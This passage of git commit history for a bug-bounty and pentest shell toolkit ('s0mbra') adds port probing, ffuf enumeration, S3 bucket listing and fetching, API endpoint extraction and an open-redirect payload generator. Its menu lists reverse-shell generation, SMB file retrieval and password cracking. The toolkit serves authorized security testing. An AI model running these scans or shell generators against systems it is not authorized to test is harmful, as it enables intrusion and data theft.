$GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf (one tool at the time on all hosts)" - echo -e "$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|x8" + echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|x8" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" From d3ef7e98d9442b2727548928eda61e7c96c6157b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 16 May 2022 10:56:06 +0100 Subject: [PATCH 300/460] [s0mbra] get command to send HTTP requests to the server --- s0mbra.sh | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index c56c513..be52b78 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -606,6 +606,18 @@ b64() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# executes HTTP requests to most common HTTP ports +get() { + PORTS=(80 280 443 591) + echo -e "$BLUE[s0mbra] GETing most common HTTP ports on $1...$CLR" + for PORT in "${PORTS[@]}"; do + echo -e "$YELLOW[s0mbra] Executing HTTP request to port $PORT...$CLR" + curl -I -m 10 https://$1:$PORT + echo + done + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + ### menu cmd=$1 clear @@ -704,6 +716,9 @@ case "$cmd" in fu) fu "$2" "$3" "$4" ;; + get) + get "$2" + ;; apifuzz) api_fuzz "$2" "$3" ;; @@ -722,6 +737,7 @@ case "$cmd" in echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" + echo -e "$CYAN get $GRAY[HOST]$CLR\t\t\t\t\t -> executes HTTP requests to HOST on most popular HTTP ports" echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" echo -e "$CYAN apifuzz $GRAY[BASE_HREF] [ENDPOINTS]$CLR\t\t -> fuzzing API endpoints with httpie" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" From 56a5ec47411512a87ed9e1c72d4ea256381f323a Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 21 May 2022 11:23:41 +0100 Subject: [PATCH 301/460] [s0mbra] List of HTTP ports for get command --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index be52b78..488dcab 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -608,7 +608,7 @@ b64() { # executes HTTP requests to most common HTTP ports get() { - PORTS=(80 280 443 591) + PORTS=(80 280 443 591 593 981 1311 2480 3000 4567 5104 5985 7000 7001 7002 8000 8008 8080 8222 8443 8530 9080 9443 12443 16080 18091 18092) echo -e "$BLUE[s0mbra] GETing most common HTTP ports on $1...$CLR" for PORT in "${PORTS[@]}"; do echo -e "$YELLOW[s0mbra] Executing HTTP request to port $PORT...$CLR" From 40cd98fff47ca47f8778338493a32f74f7b6ee32 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 21 May 2022 11:36:33 +0100 Subject: [PATCH 302/460] [s0mbra] takealook output improvements --- s0mbra.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 488dcab..63251e7 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -265,9 +265,9 @@ takealook() { END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e " $GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.tmp` | cut -d" " -f 1) $GRAY subdomains" - echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.tmp` | cut -d" " -f 1) $GRAY active web servers $GREEN" - echo -e " $GRAY HTTP servers responding 200 OK: $CLR\n" + echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.tmp` | cut -d" " -f 1) $GRAY subdomains" + echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.tmp` | cut -d" " -f 1) $GRAY active web servers $GREEN" + echo -e "$GREEN\nHTTP servers responding 200 OK: $CLR\n" grep 200 $TMPDIR/s0mbra_recon_httpx.tmp echo -e "\n$BLUE[s0mbra] Done.$CLR" } From d28a11ceb05f7fca72a8cd10d57756e578e7ef35 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 21 May 2022 21:17:14 +0100 Subject: [PATCH 303/460] [s0mbra] added subdomanizer to recon command --- s0mbra.sh | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 63251e7..0994f1b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -284,6 +284,7 @@ recon() { FFUF=$(echo $2|grep 'ffuf'|wc -l) FEROXBUSTER=$(echo $2|grep 'feroxbuster'|wc -l) X8=$(echo $2|grep 'x8'|wc -l) + SUBDOMANIZER=$(echo $2|grep 'subdomanizer'|wc -l) # set proto: if [[ -z $3 ]]; then @@ -339,6 +340,12 @@ recon() { x8 -u $PROTO://$HOSTNAME/ -w $DICT_HOME/urlparams.txt -c 10 fi + # subdomanizer + if [[ $SUBDOMANIZER -eq "1" ]]; then + echo -e "\n$GREEN--> SubDomanizer$CLR\n" + subdomanizer --url $PROTO://$HOSTNAME/ + fi + END_TIME=$(date) echo -e "\n$GREEN[s0mbra] Finished!" echo -e "\nstarted at: $RED $START_TIME $GREEN" @@ -733,7 +740,7 @@ case "$cmd" in echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" echo -e "$CYAN takealook $GRAY[DOMAIN]$CLR\t\t\t\t -> lookaround, but for single domain (no scope file needed)" - echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|x8" + echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,feroxbuster,x8,subdomanizer" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" From 43f0abf972ae66dbc87f2a92f8052234fa211a24 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 21 May 2022 21:36:12 +0100 Subject: [PATCH 304/460] [s0mbra] run recon with default set of tools when no options passed --- s0mbra.sh | 27 +++++++++++++++++++-------- 1 file changed, 19 insertions(+), 8 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 0994f1b..4a7e0e3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -277,14 +277,25 @@ takealook() { recon() { HOSTNAME=$1 - # set options: - NMAP=$(echo $2|grep 'nmap'|wc -l) - NIKTO=$(echo $2|grep 'nikto'|wc -l) - VHOSTS=$(echo $2|grep 'vhosts'|wc -l) - FFUF=$(echo $2|grep 'ffuf'|wc -l) - FEROXBUSTER=$(echo $2|grep 'feroxbuster'|wc -l) - X8=$(echo $2|grep 'x8'|wc -l) - SUBDOMANIZER=$(echo $2|grep 'subdomanizer'|wc -l) + # set proto: + if [[ -z $2 ]]; then + # default options: + NMAP="1" + NIKTO="1" + FFUF="1" + FEROXBUSTER="1" + X8="1" + SUBDOMANIZER="1" + else + # set options: + NMAP=$(echo $2|grep 'nmap'|wc -l) + NIKTO=$(echo $2|grep 'nikto'|wc -l) + VHOSTS=$(echo $2|grep 'vhosts'|wc -l) + FFUF=$(echo $2|grep 'ffuf'|wc -l) + FEROXBUSTER=$(echo $2|grep 'feroxbuster'|wc -l) + X8=$(echo $2|grep 'x8'|wc -l) + SUBDOMANIZER=$(echo $2|grep 'subdomanizer'|wc -l) + fi # set proto: if [[ -z $3 ]]; then From f5e228ab2064b9ddd6b21028a2c77e291426003e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 22 May 2022 15:21:07 +0100 Subject: [PATCH 305/460] [s0mbra] hasher command; main menu improvements --- s0mbra.sh | 21 +++++++++++++++++---- 1 file changed, 17 insertions(+), 4 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 4a7e0e3..5dd2ed5 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -624,6 +624,13 @@ b64() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# hash/encode string +hshr() { + echo -e "$BLUE[s0mbra] Hash/encoode $1...$CLR" + hasher $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + # executes HTTP requests to most common HTTP ports get() { PORTS=(80 280 443 591 593 981 1311 2480 3000 4567 5104 5985 7000 7001 7002 8000 8008 8080 8222 8443 8530 9080 9443 12443 16080 18091 18092) @@ -731,6 +738,9 @@ case "$cmd" in b64) b64 "$2" ;; + hasher) + hshr "$2" + ;; fu) fu "$2" "$3" "$4" ;; @@ -748,16 +758,15 @@ case "$cmd" in ;; *) clear - echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN lookaround $GRAY[SCOPE_FILE]$CLR\t\t\t -> just look around... (subfinder + httpx on discovered hosts from scope file)" echo -e "$CYAN takealook $GRAY[DOMAIN]$CLR\t\t\t\t -> lookaround, but for single domain (no scope file needed)" echo -e "$CYAN recon $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap,nikto,vhosts,ffuf,feroxbuster,x8,subdomanizer" - echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN get $GRAY[HOST]$CLR\t\t\t\t\t -> executes HTTP requests to HOST on most popular HTTP ports" - echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" - echo -e "$CYAN apifuzz $GRAY[BASE_HREF] [ENDPOINTS]$CLR\t\t -> fuzzing API endpoints with httpie" + echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(RESTapi)$CLR\t -> fuzzing API endpoints with httpie" + echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(RESTapi)$CLR\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" @@ -791,6 +800,10 @@ case "$cmd" in echo -e "$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR\t\t -> exports .dex file into .jar" echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t -> extracts APK file and run apktool on it" echo -e "$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" + echo -e "$BLUE_BG:: UTILS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" + echo -e "$CYAN hasher $GRAY[STRING]$CLR\t\t\t\t -> hash/encode string (md5, sha1, base64, hex encoded)" + echo -e "$CLR" ;; esac From 8a0d9b60db303677f65e5d68fb4f0dc460c213ec Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 23 May 2022 12:39:43 +0100 Subject: [PATCH 306/460] [s0mbra] get command with both HTTP and HTTPS requets to each port --- s0mbra.sh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 5dd2ed5..6f530c6 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -637,6 +637,8 @@ get() { echo -e "$BLUE[s0mbra] GETing most common HTTP ports on $1...$CLR" for PORT in "${PORTS[@]}"; do echo -e "$YELLOW[s0mbra] Executing HTTP request to port $PORT...$CLR" + curl -I -m 10 http://$1:$PORT + echo -e "$YELLOW[s0mbra] Executing HTTPS request to port $PORT...$CLR" curl -I -m 10 https://$1:$PORT echo done From 3c2fb82c4177caeffb775ace02e549d04479abe4 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 25 May 2022 18:23:19 +0100 Subject: [PATCH 307/460] [s0mbra] add / at the end of -u argument --- s0mbra.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 6f530c6..a56b79c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -376,13 +376,13 @@ fu() { if [[ $3 == "/" ]]; then # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi else - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[s0mbra] Done! $CLR" } From 2da276c4c8c686ebb8986110882dd49c56b75361 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 28 May 2022 10:17:10 +0100 Subject: [PATCH 308/460] [s0mbra] extract API endpoints from file (in progress) --- s0mbra.sh | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index a56b79c..09c0538 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -387,6 +387,16 @@ fu() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +#extracts API endpoint urls (eg. "/api/user/create") +endpoints() { + clear + FILE=$1 + PATH=$2 + echo -e "$BLUE[s0mbra] Extracting API endpoints from $FILE...$CLR" + grep --color -n "$PATH" $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + api_fuzz() { clear echo -e "$BLUE[s0mbra] Fuzzing $1 API with httpie using endpoints file $2...$CLR" @@ -749,6 +759,9 @@ case "$cmd" in get) get "$2" ;; + endpoints) + endpoints "$2" "$3" + ;; apifuzz) api_fuzz "$2" "$3" ;; @@ -767,6 +780,7 @@ case "$cmd" in echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" echo -e "$CYAN get $GRAY[HOST]$CLR\t\t\t\t\t -> executes HTTP requests to HOST on most popular HTTP ports" + echo -e "$CYAN endpoints $GRAY[FILE] [PATH]$CLR\t$YELLOW(RESTapi)$CLR\t -> extracts API endpoints from FILE, which conatins PATH (eg. /api/ -> /api/user/delete)" echo -e "$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(RESTapi)$CLR\t -> fuzzing API endpoints with httpie" echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(RESTapi)$CLR\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" From ac5146855f8782817487761cde9d5a4e87935a77 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 29 May 2022 22:36:45 +0100 Subject: [PATCH 309/460] [s0mbra] Fix for grep command --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 09c0538..43cfd2a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -393,7 +393,7 @@ endpoints() { FILE=$1 PATH=$2 echo -e "$BLUE[s0mbra] Extracting API endpoints from $FILE...$CLR" - grep --color -n "$PATH" $1 + /usr/bin/grep --color -n -e "$PATH" $FILE echo -e "$BLUE\n[s0mbra] Done! $CLR" } From 22ab23eae1d655143f5a6b7c0695abb7102517bf Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 30 May 2022 00:03:39 +0100 Subject: [PATCH 310/460] [s0mbra] s3ls command to list content of directory on S3 bucket --- s0mbra.sh | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 43cfd2a..1e80640 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -507,6 +507,14 @@ s3go() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } + +s3ls() { + clear + echo -e "$BLUE[s0mbra] Listing $2 folder on $1 bucket...$CLR" + aws s3 ls "s3://$1/$2/" 2> /dev/null + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + # coverts .dex file to .jar archive dex_to_jar() { clear @@ -768,6 +776,9 @@ case "$cmd" in s3go) s3go "$2" "$3" ;; + s3ls) + s3ls "$2" "$3" + ;; generate_shells) generate_shells "$2" "$3" ;; @@ -787,6 +798,7 @@ case "$cmd" in echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" echo -e "$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" + echo -e "$CYAN s3ls $GRAY[bucket] [folder]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> list content of [folder] on S3 [bucket] - requires READ permissions (check with s3)" echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS]/-p- to enumerate; -sV -sC -A on found ports" From 920ae2ff63c7411ebba527d6223faad9ba672026 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 31 May 2022 00:30:13 +0100 Subject: [PATCH 311/460] [s0mbra] rename s3go to s3get --- s0mbra.sh | 30 ++++++++++++++++++++++++++---- 1 file changed, 26 insertions(+), 4 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 1e80640..d84e87f 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -487,7 +487,8 @@ s3() { echo -e "\n$BLUE[s0mbra] Done." } -s3go() { +# downloads file from S3 directory +s3get() { clear echo -e "$BLUE[s0mbra] Getting $2 from $1 bucket...$CLR" @@ -507,7 +508,28 @@ s3go() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# uploads file to S3 directory +s3gput() { + clear + echo -e "$BLUE[s0mbra] Uploading $2 to $1...$CLR" + + # aws s3api get-object-acl --bucket "$1" --key "$2" 2> /dev/null + # if [[ "$?" == 0 ]]; then + # echo -e "\n$GREEN+ We can read ACL of $3$CLR" + # elif [[ "$?" != 0 ]]; then + # echo -e "\n$RED- can't check $2 ACL... :/$CLR" + # fi + + # aws s3api get-object --bucket "$1" --key "$2" "$1".downloaded 2> /dev/null + # if [[ "$?" == 0 ]]; then + # echo -e "\n$GREEN+ $2 downloaded in current directory as $2.downloaded$CLR" + # elif [[ "$?" != 0 ]]; then + # echo -e "\n$RED- can't get $2 :/$CLR" + # fi + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} +# Lists content of the folder on S3 bucket s3ls() { clear echo -e "$BLUE[s0mbra] Listing $2 folder on $1 bucket...$CLR" @@ -773,8 +795,8 @@ case "$cmd" in apifuzz) api_fuzz "$2" "$3" ;; - s3go) - s3go "$2" "$3" + s3get) + s3get "$2" "$3" ;; s3ls) s3ls "$2" "$3" @@ -797,7 +819,7 @@ case "$cmd" in echo -e "$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" - echo -e "$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" + echo -e "$CYAN s3get $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" echo -e "$CYAN s3ls $GRAY[bucket] [folder]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> list content of [folder] on S3 [bucket] - requires READ permissions (check with s3)" echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" From 651f096817cd81c1632f24a053f81873985de4cf Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 3 Jun 2022 22:02:36 +0100 Subject: [PATCH 312/460] [s0mbra] menu update --- s0mbra.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index d84e87f..72e4ebc 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -827,7 +827,6 @@ case "$cmd" in echo -e "$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" - echo -e "$BLUE_BG:: SMB SUITE ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" echo -e "$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" echo -e "$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" From fe1efd4622273f9c7add9c8c6988148248a90945 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 5 Jun 2022 12:18:59 +0100 Subject: [PATCH 313/460] [redirgen.py] Refactoring (in progress) --- redir_gen/redirgen.py | 29 ++++++++++++++++++++++------- 1 file changed, 22 insertions(+), 7 deletions(-) diff --git a/redir_gen/redirgen.py b/redir_gen/redirgen.py index e1116a4..80c458f 100755 --- a/redir_gen/redirgen.py +++ b/redir_gen/redirgen.py @@ -3,12 +3,30 @@ import re import argparse +import string + + +def generate(payload, target, dest, param=None) -> str: + ''' + generates and returns single payload + ''' + payload = payload.rstrip() + payload = re.sub("TARGET", target, payload) + payload = re.sub("DEST", dest, payload) + # if param: + # payload = re.sub("PARAM", param, payload) + return payload + parser = argparse.ArgumentParser() -parser.add_argument("--target", "-t", action="store", help="Enter the target address", required=True) +parser.add_argument("--target", "-t", action="store", + help="Enter the target address", required=True) parser.add_argument("--dest", "-d", action="store", help="Enter the address where you want to redirect to", required=True) -parser.add_argument("--output", "-o", action="store", help="Enter output file name") +parser.add_argument("--output", "-o", action="store", + help="Enter output file name") +# parser.add_argument("--param", "-p", action="store", +# help="Vulnerable parameter") args = parser.parse_args() payloads = [] @@ -17,17 +35,14 @@ junk = re.compile(r"https?://") target = junk.sub("", args.target) dest = junk.sub("", args.dest) - with open("payloads.txt", "r") as handle: templates = handle.readlines() for payload in templates: - payload = payload.rstrip() - payload = re.sub("TARGET", target, payload) - payload = re.sub("DEST", dest, payload) + payload = generate(payload, target, dest) print(payload) payloads.append(payload) if args.output: with open(args.output, "w")as handle: - [handle.write(f"{x.rstrip()}\n") for x in payloads] \ No newline at end of file + [handle.write(f"{x.rstrip()}\n") for x in payloads] From 486bb2246a45b0fa31d1426b00f195dd2d716272 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 6 Jun 2022 20:00:54 +0100 Subject: [PATCH 314/460] [s0mbra] Menu improvements --- s0mbra.sh | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 72e4ebc..fb71b1d 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -836,12 +836,11 @@ case "$cmd" in echo -e "$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" echo -e "$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t -> default credentials for DEVICE or SYSTEM" - echo -e "$BLUE_BG:: SAST ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$BLUE_BG:: SOURCE CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" echo -e "$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" echo -e "$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR\t\t -> Static Code Analysis of PHP dir(s)/file(s) with phpcs" - echo -e "$BLUE_BG:: RE ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR\t\t -> disassembels BINARY and saves to 1.asm in the same directory" echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" From 7ccc3914e905c7dd22dac369be32f8d05f20abaf Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 10 Jun 2022 